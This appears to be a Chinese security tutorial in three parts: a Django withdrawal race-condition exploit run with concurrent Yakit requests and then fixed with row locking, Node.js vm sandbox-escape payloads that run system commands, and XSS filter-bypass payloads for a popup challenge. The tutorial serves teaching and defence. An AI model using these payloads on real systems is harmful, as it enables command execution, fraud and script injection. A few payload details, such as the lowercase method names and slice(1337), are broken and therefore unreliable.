Race竞争性漏洞的复现
实验环境
我们这里讲到的是常常存在漏洞的Django代码
以及最后使用yakit软件进行测试
运行环境的搭建
使用Django-Cookiecutter脚手架创建一个项目,项目名是Race Condition Playground。
然后在创建两个新的model。
class User(AbstractUser):
username = models.CharField('username', max_length=256)
email = models.EmailField('email', blank=True, unique=True)
money = models.IntegerField('money', default=0)
USERNAME_FIELD = 'email'
REQUIRED_FIELDS = ['username']
class Meta(AbstractUser.Meta):
swappable = 'AUTH_USER_MODEL'
verbose_name = 'user'
verbose_name_plural = verbose_name
def __str__(self):
return self.username
class WithdrawLog(models.Model):
user = models.ForeignKey('User', verbose_name='user', on_delete=models.SET_NULL, null=True)
amount = models.IntegerField('amount')
created_time = models.DateTimeField('created time', auto_now_add=True)
last_modify_time = models.DateTimeField('last modify time', auto_now=True)
class Meta:
verbose_name = 'withdraw log'
verbose_name_plural = 'withdraw logs'
def __str__(self):
return str(self.created_time)
User类继承自 AbstractUser:User 模型类继承了 Django 内置的 AbstractUser 模型类,它提供了常见的用户身份认证和权限相关的字段和方法。
User字段
username:用户名,是一个字符型字段,最大长度为 256。
email:电子邮件,是一个字符型字段,允许为空,必须唯一。
money:钱,是一个整数型字段,用于存储用户的金钱数额,默认值为 0。
USERNAME_FIELD 和 REQUIRED_FIELDS:这两个字段用于配置用户登录认证时所使用的字段。在这里,email 字段被设置为 USERNAME_FIELD,这意味着用户登录时将使用邮箱来进行认证。username 字段被添加到 REQUIRED_FIELDS,这意味着在创建用户时,必须提供用户名。
str() 方法:这个方法定义了提现记录对象在使用 str() 函数时返回的字符串表示。
一个是User表,用以储存用户,其中money字段是这个用户的余额;一个是WithdrawLog表,用以储存提取的日志。我们假设公司财务会根据这个日志表来向用户打款,那么只要成功在这个表中插入记录,则说明攻击成功。
我们编写一个WithdrawForm,其字段amount,表示用户此时想提取的余额。
class WithdrawForm(forms.Form):
amount = forms.IntegerField(min_value=1)
def __init__(self, *args, **kwargs):
self.user = kwargs.pop('user', None)
super().__init__(*args, **kwargs)
def clean_amount(self):
amount = self.cleaned_data['amount']
if amount > self.user.money:
raise forms.ValidationError('insufficient user balance')
return amount
如果发现用户要提取的金额大于用户的余额,则抛出一个forms.ValidationError
异常。
最后,在写一个用于用户体现的View。
class BaseWithdrawView(LoginRequiredMixin, generic.FormView):
template_name = 'form.html'
form_class = forms.WithdrawForm
def get_form_kwargs(self):
kwargs = super().get_form_kwargs()
kwargs['user'] = self.request.user
return kwargs
class WithdrawView1(BaseWithdrawView):
success_url = reverse_lazy('ucenter:withdraw1')
//form表单验证
//已经通过验证
def form_valid(self, form):
amount = form.cleaned_data['amount']
self.request.user.money -= amount
self.request.user.save()
models.WithdrawLog.objects.create(user=self.request.user, amount=amount)
return redirect(self.get_success_url())
以上 WithdrawView1()是创建的视图,即是最后页面钟返回的页面,因为使用了django的generic.FormView
,所以Django在接收到POST请求后会正常使用form的方法进行检查(包含上面提到的余额充足的检查)。
执行函数完成操作后,会对request.user.money
进行减少,在WithdrawLog
中添加一条新的交易记录。
环境测试
讲这个程序运行起来,我们讲这个后台的账户余额设置为10。
然后去到前端,提交50,然后会因为余额不足进行报错。
在经过amount <= user.money
检查后,服务端执行提现操作,会正常进行余额的比较以及查询余额对比是否不足。
但如果某个用户同时发起两次提现请求,在第一个请求经过检查到达Withdraw handler之前,此时该用户的user.money
是还没有减少的;此时第二个请求如果也经过了检查,两个请求同时到达Withdraw handler,就会导致user.money -= amount
执行两次。这样这个余额执行的错误就发生了。
这时,测试需要用到我们的Yakit工具,新建一个Web Fuzzer,贴入提现的数据包。
然后我在数据包中添加{{repeat(100)}}
,并把并发线程调高到100发送,此时Yakit就会使用100个线程重复发送100次这个数据包。结果如下:
我们可以清楚的看到POST请求返回302,说明我们的请求成功了。在后台我们可以发现,我们的余额只有10,但是由于请求成功了3次,所以,体现记录达到了3次,这样我们就损失了20元钱,就会造成我们的财力损失。
解决方法
我们就会问,这个问题既然发生了,那应该如何进行解决呢?
这里我们就会聊到锁的机制,在你执行提取现金的业务时,我们将你的这个线程进行锁住,不让它被进行干扰,当你提取完成后,我们在将其放开。这样是否就解决了这个问题了。
Django在ORM里提供了对数据库Select for Update的支持,在PostgreSQL、Mysql、Oracle三个数据库中都可以使用,结合Where语句,可以实现行级的锁。
START transation;
SELECT * FROM user WHERE id = 1 FOR UPDATE;
COMMIT;
以上代码就是悲观锁的体现。在执行语句后面我们加上FOR UPDATE的字眼,将其锁住。这样就可以保证我们在同一个事务内执行的操作的原子性。
class WithdrawView2(BaseWithdrawView):
success_url = reverse_lazy('ucenter:withdraw3')
def get_form_kwargs(self):
kwargs = super().get_form_kwargs()
kwargs['user'] = self.user
return kwargs
@transaction.atomic
def dispatch(self, request, *args, **kwargs):
self.user = get_object_or_404(models.User.objects.select_for_update().all(), pk=self.request.user.pk)
return super().dispatch(request, *args, **kwargs)
def form_valid(self, form):
amount = form.cleaned_data['amount']
self.user.money -= amount
self.user.save()
models.WithdrawLog.objects.create(user=self.user, amount=amount)
return redirect(self.get_success_url())
这是通过悲观锁来写的一个 WithdrawView2。
在进行同理测试。
我们可以发现,它只返回了一个请求成功成功。所以这个问题我们就解决了。
当然使用悲观锁加事务,它是会有性能上的问题的。如果有大量读操作的场景下,因为每次访问这个view都会锁住当前用户对象,此时其他要使用这个用户的场景(如查看用户主页)也会卡住。所以就还有更好的方案,那就是乐观锁加上事务。
沙箱逃逸以及原型链的污染问题
沙箱逃逸
vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。
const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
这是一个简单使用vm环境的nodejs代码。
我们在电脑中的cmd去执行一下。
但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:
this 指向传给vm.createContext的那个对象
m 等于数字1
n 等于数字2
我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境。
例如:
this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()
第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。
第二行,利用前面获取的process对象执行任何命令。
进行沙箱逃逸,我们可以使用this,,进而获取到函数对象的构造器,在进而获取到process对象。
或者我们利用引用类型,例如{}。
进而我们可以得到沙箱绕过的核心原理了:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。
const vm=require('vm');
const script=`..`;
const sanbox=Object.create(null);
const context=new vm.createContext(sanbox);
const res=vm.runInContext(script,context);
console.log(res);
我们来看这个代码,这里使用Object.create(null),所以这个this的指向null,即我们不能够用this的构造对象进而来获取方法了。
所以,这里我们应该这要考虑,
const script=`(()=>
const a={}
a.tostring=function(){
const cc=arguments.callee.caller
const p =(cc.constructor('return process'))()
return p.mainModule.require('child_process').execsync('whoami').tostring()
}
return a
})()`;
通过argument.callee.caller来获取到process对象,从而达到执行命令的操作。
这里argument.callee,它是返回的函数本身。
argument.callee.caller,这里谁调用了它,它就返回谁。
最后需要
console.log('hello'+res);
来达到触发tostring,在js中,某一个东西和字符串拼接,它最后也会变成字符串。
和字符串连接,就会调用它的**tostring()**方法,从而达到触发上述所写的代码。
正则绕过
首先我们来看这个:
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert|prompt|confirm/g, '_')
eval(mafia)
它的要求是需要我们弹窗1337。
首先,我们先分析一下这个正则表达式,,明显可以看出,这里过滤了`, ', ",+,-,!,,[,]并且过滤了弹窗函数alert,这样的一个正则,如果去绕过它呢?
弹窗最常用的三个函数,为alert、prompt、confirm,三个函数都能实现弹窗。那么第一种方式就找到了。
prompt(1337);
confirm(1337);
每个 JavaScript 函数实际上都是一个 Function
对象。Function
构造函数创建一个新的 Function
对象。直接调用此构造函数可用动态创建函数,但会遇到和 eval
类似的的安全问题和(相对较小的)性能问题。然而,与 eval
不同的是,Function
创建的函数只能在全局作用域中运行。
那么我们利用Function函数实现alert的弹窗
payload2: Function(/ALERT(1337)/.source.toLowerCase())()
使用eval函数绕过限制,要被解析的值。如果参数不是一个字符串,则将其转换为字符串(使用 ToString
抽象操作)。字符串开头的空白符将会被忽略
parseInt('alert', 30)
a 1
t 20 -----> 30 0,1,2,3,4,5,6,7,8,9 A B C D E F
可以大于20,但不能下于20,不然就会产生单词的取不完整的情况。
要将一个数字转换为特定的 radix
中的字符串字段,请使用 thatNumber.toString(radix)
函数。
8680439..toString(30) === alert
payload3:eval(8680439..toString(30))(1337)
利用location中的hash来绕过关键字。
看下面例子
var url = document.createElement('a');
url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
console.log(url.href); // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
console.log(url.protocol); // https:
console.log(url.host); // developer.mozilla.org
console.log(url.hostname); // developer.mozilla.org
console.log(url.port); // (blank - https assumes port 443)
console.log(url.pathname); // /en-US/search
console.log(url.search); // ?q=URL
console.log(url.hash); // #search-results-close-container
console.log(url.origin); // https://developer.mozilla.org
我们可以明显看到location.hash是取url中#后面的部分。
eval(location.hash.slice(1337))#alert(1337)
这样就实现了绕过了。